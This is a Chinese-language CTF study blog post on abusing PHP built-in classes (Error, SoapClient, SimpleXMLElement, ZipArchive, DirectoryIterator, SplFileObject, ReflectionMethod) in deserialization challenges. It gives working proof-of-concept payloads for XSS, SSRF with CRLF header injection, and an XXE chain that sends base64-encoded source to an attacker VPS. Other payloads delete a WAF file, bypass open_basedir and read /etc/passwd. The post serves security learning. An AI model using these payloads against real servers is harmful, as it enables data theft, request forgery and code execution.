php迭代器(原生类)的利用

前言

填坑这一块知识了,填完坑就要开始恶补pop和xss这两块的知识来为iscc做准备了。

php原生类

在CTF题目中,php原生类的运用主要可以利用在xss、反序列化、ssrf、xxe以及读取文件的解题上。

我们可以通过下面这个exp来遍历原生类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup'
// 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}

接下来我们学习认识应用比较常用的一些原生类。

Error/Exception

xss的利用

在报错开启的情况下,php7中利用Error类可能会导致xss漏洞,因为它内置一个__toString()方法。如果做pop时打不通了可能就可以尝试直接一转xss。

test.php:

1
2
3
4
5
<?php
$a = unserialize($_GET['cmd']);
echo $a;
highlight_file(__FILE__);
?>

poc:

1
2
3
4
5
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>

发现成功触发xss,存在利用。

而Exception除了可以利用在php7外,还可以利用在php5上,方法一致。

绕过hash比较

在php7下,Error是所有PHP内部错误类的基类,我们可以利用其返回性质来进行绕过。

[极客大挑战 2020]Greatphp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$cmd='/flag';
$cmd=urlencode(~$cmd);
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

用一个简单的短标签和取反绕rce,主要是学习原生类应用。

Exception也一样,php5以上都可利用。

SoapClient

这个类一般用于ssrf,这是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的PHP客户端。该迭代器有一个__call()方法,当__call()方法被触发后,它可以发送HTTP和HTTPS请求。

构造规则:

1
2
3
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

我们使用RequestBin进行模拟:

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://requestbin.net/r/f30dvgdx', 'uri'=>'ssrf'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行代码,发现成功触发ssrf。但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。

像这样:

1
2
3
4
5
6
7
8
<?php
$target = 'http://requestbin.net/r/f30dvgdx';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

我们的自定义cookie就被插入进http头中了。

SimpleXMLElement

这个类用于解析XML文档中的元素,我们可以参考php手册对其的定义:

根据手册,当data_is_url为true时,我们可以实现远程xml载入,而data参数用来设置自己的payload的url地址,从而实现xxe。

我们来看一题的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
class calc{
function __construct__(){
calc();
}

function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;

case 'b':
$method="-";
break;

case 'c':
$method="*";
break;

case 'd':
$method="/";
break;

default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>

我们发现module为调用的类,args为类的构造方法的参数,那么在这里我们就可以构造xxe读取源码。

首先在自己的vps上构建三个文件,分别是mrl64.xmlsend.xml以及send.php

mrl64.xml:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://ip/send.xml">
%remote;
%all;
%send;
]>

send.xml:

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://1.xxx.xxx.47/send.php?file=%file;'>">

send.php:

1
2
3
<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

接着我们构建payload:

1
?module=SimpleXMLElement&args[]=http://ip/mrl64.xml&args[]=2&args[]=true

我们就会发现源码已经被写入result.txt中了。

ZipArchive

ZipArchive类可以对文件进行压缩与解压缩处理,之前题目出现的利用主要是用来删除waf文件的。如果设置flags参数的值为ZipArchive::OVERWRITE的话,可以把指定文件删除。

由于没有找到对应题目的复现环境以及docker,所以就大概讲一下题目思路吧。

首先是源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}

我们重点关注在Open类上,这里有个读取文件,只有读取waf.txt失败才可以进行rce。而观察代码,我们发现Game类中的$content可以进行设置,因此我们构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class Game{
public $username = "admin";
public $password = "admin";
public $choice;
public $register = "admin";

public $file = new ZipArchive();
public $filename = "waf.txt";
public $content = ZipArchive::OVERWRITE;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}

class login{
public $file;
public $filename;
public $content;
}

class Open{
function open($filename, $content){
}
}
$poc = new Game();
echo base64_encode(serialize($poc));

其他参数的设置是别的考点,我们这里只关注原生类,这样就可以删除waf.txt文件了。

文件遍历

DirectoryIterator/FilesystemIterator

这两个类十分相似,我们只需要构造个很简单的poc就可以读取文件了:

1
2
3
<?php
$dir=new DirectoryIterator("/");
echo $dir;

不过这样只能读取根目录下的第一个文件名,我们可以通过遍历读取根目录下所有文件名:

1
2
3
4
5
6
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}

配合glob协议进行匹配做到查找我们想要的文件:

1
2
3
<?php
$dir=new DirectoryIterator("glob:///*php*");
echo $dir;

GlobIterator

这个类nisa复现的时候用过,其实也差不多,不过比较特殊的是他自己就可以进行匹配,不需要通过glob伪协议:

1
2
3
<?php
$dir=new GlobIterator("/*php*");
echo $dir;

绕过open_basedir

与glob协议结合读取配合遍历即可绕过,测试代码也非常简单:

1
2
3
4
5
6
7
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>

payload:

1
?whoami=glob:///*

同样由于GlobIterator类的特殊性,使用该类遍历时就不需要配合glob协议了。

SplFileObject

能遍历自然要读取,SplFileInfo类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作。nisa的题目中进行文件读取操作用的就是这个类。

读取第一行:

1
2
3
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

遍历文件:

1
2
3
4
5
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}

和遍历文件的类用法相似,也是比较简单的。

ReflectionMethod

这个类报告了一个方法的有关信息,最重要的是可以导出或提取关于类、方法、属性、参数等的详细信息,包括注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ReflectionMethod::__construct — ReflectionMethod 的构造函数
ReflectionMethod::export — 输出一个回调方法
ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注:可以使用这个返回值直接调用非公开方法。
ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例
ReflectionMethod::getModifiers — 获取方法的修饰符
ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
ReflectionMethod::invoke — Invoke
ReflectionMethod::invokeArgs — 带参数执行
ReflectionMethod::isAbstract — 判断方法是否是抽象方法
ReflectionMethod::isConstructor — 判断方法是否是构造方法
ReflectionMethod::isDestructor — 判断方法是否是析构方法
ReflectionMethod::isFinal — 判断方法是否定义 final
ReflectionMethod::isPrivate — 判断方法是否是私有方法
ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)
ReflectionMethod::isPublic — 判断方法是否是公开方法
ReflectionMethod::isStatic — 判断方法是否是静态方法
ReflectionMethod::setAccessible — 设置方法是否访问
ReflectionMethod::__toString — 返回反射方法对象的字符串表达

我们用getDocComment()方法举例,获取注释内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
class Flag
{
/**
* mrl64{flag_is_here}
*/
function read(){
return 1234;
}
}

$a = new ReflectionMethod('Flag','read');
var_dump($a->getDocComment());

发现回显:

1
2
3
string(39) "/**
* mrl64{flag_is_here}
*/"

总结

本来是只想着学下文件操作类的部分,没想到已经出现了这么多不同的考法,还是得多做总结,利用在之后的题目中。